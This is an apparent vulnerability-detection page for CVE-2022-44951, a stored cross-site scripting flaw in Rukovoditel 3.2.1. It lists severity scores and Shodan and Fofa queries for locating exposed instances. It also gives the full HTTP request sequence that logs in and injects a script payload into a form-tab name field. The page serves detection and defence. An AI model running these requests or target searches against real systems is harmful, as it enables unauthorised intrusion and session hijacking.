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CVE-2022-44951: Rukovoditel <= 3.2.1 - Cross Site Scripting

TitleRukovoditel <= 3.2.1 - Cross Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
RemediationUpgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
CVSS Score5.4
EPSS Score0.01722
CVE IDCVE-2022-44951
CWE IDCWE-79
Shodan Queryhttp.favicon.hash:-1499940355
Fofa Queryicon_hash=-1499940355
Tags cve cve2022 rukovoditel stored-xss xss authenticated vuln

🔍 Vulnerability Description

Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Form tab function at /index.php?module=entities/forms&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

🌐 HTTP Request

GET /index.php?module=users/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /index.php?module=users/login&action=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Connection: close
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_session_token=peXWls&username=BqSxSu&password=K91fn1
POST /index.php?module=entities/forms&action=save_tab&token=peXWls HTTP/1.1
Host: www.victim.com
User-Agent: Moz111a/5.0 (1Pad; CPU 0S 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 108
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_session_token=peXWls&entities_id=24&name=%3cscript%3ealert(document.domain)%3c%2fscript%3e&description=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-44951.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-44951.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A